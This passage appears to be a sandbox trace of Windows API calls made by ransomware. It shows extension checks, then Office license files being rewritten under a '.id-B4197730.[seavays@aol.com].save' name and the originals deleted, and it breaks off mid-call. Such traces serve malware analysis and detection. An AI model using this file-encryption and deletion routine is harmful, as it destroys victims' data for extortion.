[0184.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0184.091] lstrlenW (lpString=".zip") returned 4 [0184.091] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.091] lstrlenW (lpString=".rar") returned 4 [0184.091] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.091] lstrlenW (lpString=".bz2") returned 4 [0184.091] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.091] lstrlenW (lpString=".7z") returned 3 [0184.091] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0184.092] lstrlenW (lpString=".dbf") returned 4 [0184.092] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0184.092] lstrlenW (lpString=".1cd") returned 4 [0184.092] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0184.092] lstrlenW (lpString=".jpg") returned 4 [0184.092] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.093] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.093] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0184.095] GetLastError () returned 0x0 [0184.095] ReadFile (in: hFile=0x36c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2d68, lpOverlapped=0x0) returned 1 [0184.097] WriteFile (in: hFile=0x530, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2d70, lpOverlapped=0x0) returned 1 [0184.099] ReadFile (in: hFile=0x36c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0184.099] WriteFile (in: hFile=0x530, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x116, lpOverlapped=0x0) returned 1 [0184.099] SetEndOfFile (hFile=0x530) returned 1 [0184.099] CloseHandle (hObject=0x530) returned 1 [0184.099] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.099] SetEndOfFile (hFile=0x36c) returned 1 [0184.103] CloseHandle (hObject=0x36c) returned 1 [0184.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.104] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms")) returned 1 [0184.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0184.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0184.105] lstrlenW (lpString=".doc") returned 4 [0184.105] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.105] lstrlenW (lpString=".docx") returned 5 [0184.105] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.106] lstrlenW (lpString=".pdf") returned 4 [0184.106] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.106] lstrlenW (lpString=".xls") returned 4 [0184.106] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.106] lstrlenW (lpString=".xlsx") returned 5 [0184.106] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.106] lstrlenW (lpString=".ppt") returned 4 [0184.106] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0184.106] lstrlenW (lpString=".zip") returned 4 [0184.106] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.106] lstrlenW (lpString=".rar") returned 4 [0184.106] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.106] lstrlenW (lpString=".bz2") returned 4 [0184.106] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.106] lstrlenW (lpString=".7z") returned 3 [0184.106] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0184.106] lstrlenW (lpString=".dbf") returned 4 [0184.106] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0184.106] lstrlenW (lpString=".1cd") returned 4 [0184.106] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0184.106] lstrlenW (lpString=".jpg") returned 4 [0184.106] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.107] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=10663) returned 1 [0184.107] CloseHandle (hObject=0x36c) returned 1 [0184.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 0x220 [0184.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0184.108] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.109] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0184.109] GetLastError () returned 0x0 [0184.109] ReadFile (in: hFile=0x36c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x29a7, lpOverlapped=0x0) returned 1 [0184.111] WriteFile (in: hFile=0x530, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x29b0, lpOverlapped=0x0) returned 1 [0184.113] ReadFile (in: hFile=0x36c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0184.113] WriteFile (in: hFile=0x530, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x114, lpOverlapped=0x0) returned 1 [0184.113] SetEndOfFile (hFile=0x530) returned 1 [0184.113] CloseHandle (hObject=0x530) returned 1 [0184.113] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.114] SetEndOfFile (hFile=0x36c) returned 1 [0184.123] CloseHandle (hObject=0x36c) returned 1 [0184.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.123] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 1 [0184.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0184.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0184.125] lstrlenW (lpString=".doc") returned 4 [0184.125] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.125] lstrlenW (lpString=".docx") returned 5 [0184.125] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.125] lstrlenW (lpString=".pdf") returned 4 [0184.125] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.125] lstrlenW (lpString=".xls") returned 4 [0184.125] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.125] lstrlenW (lpString=".xlsx") returned 5 [0184.125] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.125] lstrlenW (lpString=".ppt") returned 4 [0184.125] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0184.125] lstrlenW (lpString=".zip") returned 4 [0184.125] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.125] lstrlenW (lpString=".rar") returned 4 [0184.125] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.125] lstrlenW (lpString=".bz2") returned 4 [0184.125] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.125] lstrlenW (lpString=".7z") returned 3 [0184.125] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0184.125] lstrlenW (lpString=".dbf") returned 4 [0184.125] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0184.125] lstrlenW (lpString=".1cd") returned 4 [0184.126] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0184.126] lstrlenW (lpString=".jpg") returned 4 [0184.126] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.126] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=22093) returned 1 [0184.126] CloseHandle (hObject=0x36c) returned 1 [0184.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 0x220 [0184.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0184.546] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.546] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0184.550] GetLastError () returned 0x0 [0184.550] ReadFile (in: hFile=0x36c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x564d, lpOverlapped=0x0) returned 1 [0184.552] WriteFile (in: hFile=0x558, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x5650, lpOverlapped=0x0) returned 1 [0184.555] ReadFile (in: hFile=0x36c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0184.555] WriteFile (in: hFile=0x558, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x116, lpOverlapped=0x0) returned 1 [0184.555] SetEndOfFile (hFile=0x558) returned 1 [0184.555] CloseHandle (hObject=0x558) returned 1 [0184.555] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.556] SetEndOfFile (hFile=0x36c) returned 1 [0184.560] CloseHandle (hObject=0x36c) returned 1 [0184.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.564] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 1 [0184.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0184.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0184.566] lstrlenW (lpString=".doc") returned 4 [0184.566] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.566] lstrlenW (lpString=".docx") returned 5 [0184.566] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.566] lstrlenW (lpString=".pdf") returned 4 [0184.566] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.566] lstrlenW (lpString=".xls") returned 4 [0184.566] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.566] lstrlenW (lpString=".xlsx") returned 5 [0184.566] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.566] lstrlenW (lpString=".ppt") returned 4 [0184.566] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0184.567] lstrlenW (lpString=".zip") returned 4 [0184.567] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.567] lstrlenW (lpString=".rar") returned 4 [0184.567] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.567] lstrlenW (lpString=".bz2") returned 4 [0184.567] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.567] lstrlenW (lpString=".7z") returned 3 [0184.567] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0184.567] lstrlenW (lpString=".dbf") returned 4 [0184.567] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0184.567] lstrlenW (lpString=".1cd") returned 4 [0184.567] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0184.567] lstrlenW (lpString=".jpg") returned 4 [0184.567] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.568] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=11621) returned 1 [0184.568] CloseHandle (hObject=0x36c) returned 1 [0184.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 0x220 [0184.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0184.570] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.570] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0184.571] GetLastError () returned 0x0 [0184.571] ReadFile (in: hFile=0x36c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2d65, lpOverlapped=0x0) returned 1 [0184.573] WriteFile (in: hFile=0x558, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2d70, lpOverlapped=0x0) returned 1 [0184.574] ReadFile (in: hFile=0x36c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0184.574] WriteFile (in: hFile=0x558, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x11e, lpOverlapped=0x0) returned 1 [0184.574] SetEndOfFile (hFile=0x558) returned 1 [0184.574] CloseHandle (hObject=0x558) returned 1 [0184.574] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.575] SetEndOfFile (hFile=0x36c) returned 1 [0184.578] CloseHandle (hObject=0x36c) returned 1 [0184.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.579] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 1 [0184.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0184.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0184.580] lstrlenW (lpString=".doc") returned 4 [0184.580] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.580] lstrlenW (lpString=".docx") returned 5 [0184.580] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.580] lstrlenW (lpString=".pdf") returned 4 [0184.580] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.580] lstrlenW (lpString=".xls") returned 4 [0184.580] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.580] lstrlenW (lpString=".xlsx") returned 5 [0184.580] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.580] lstrlenW (lpString=".ppt") returned 4 [0184.580] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0184.580] lstrlenW (lpString=".zip") returned 4 [0184.580] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.580] lstrlenW (lpString=".rar") returned 4 [0184.580] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.580] lstrlenW (lpString=".bz2") returned 4 [0184.580] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.580] lstrlenW (lpString=".7z") returned 3 [0184.580] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0184.581] lstrlenW (lpString=".dbf") returned 4 [0184.581] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0184.581] lstrlenW (lpString=".1cd") returned 4 [0184.581] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0184.581] lstrlenW (lpString=".jpg") returned 4 [0184.581] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0185.132] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=19966) returned 1 [0185.132] CloseHandle (hObject=0x374) returned 1 [0185.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms")) returned 0x220 [0185.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0186.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0186.312] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.312] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 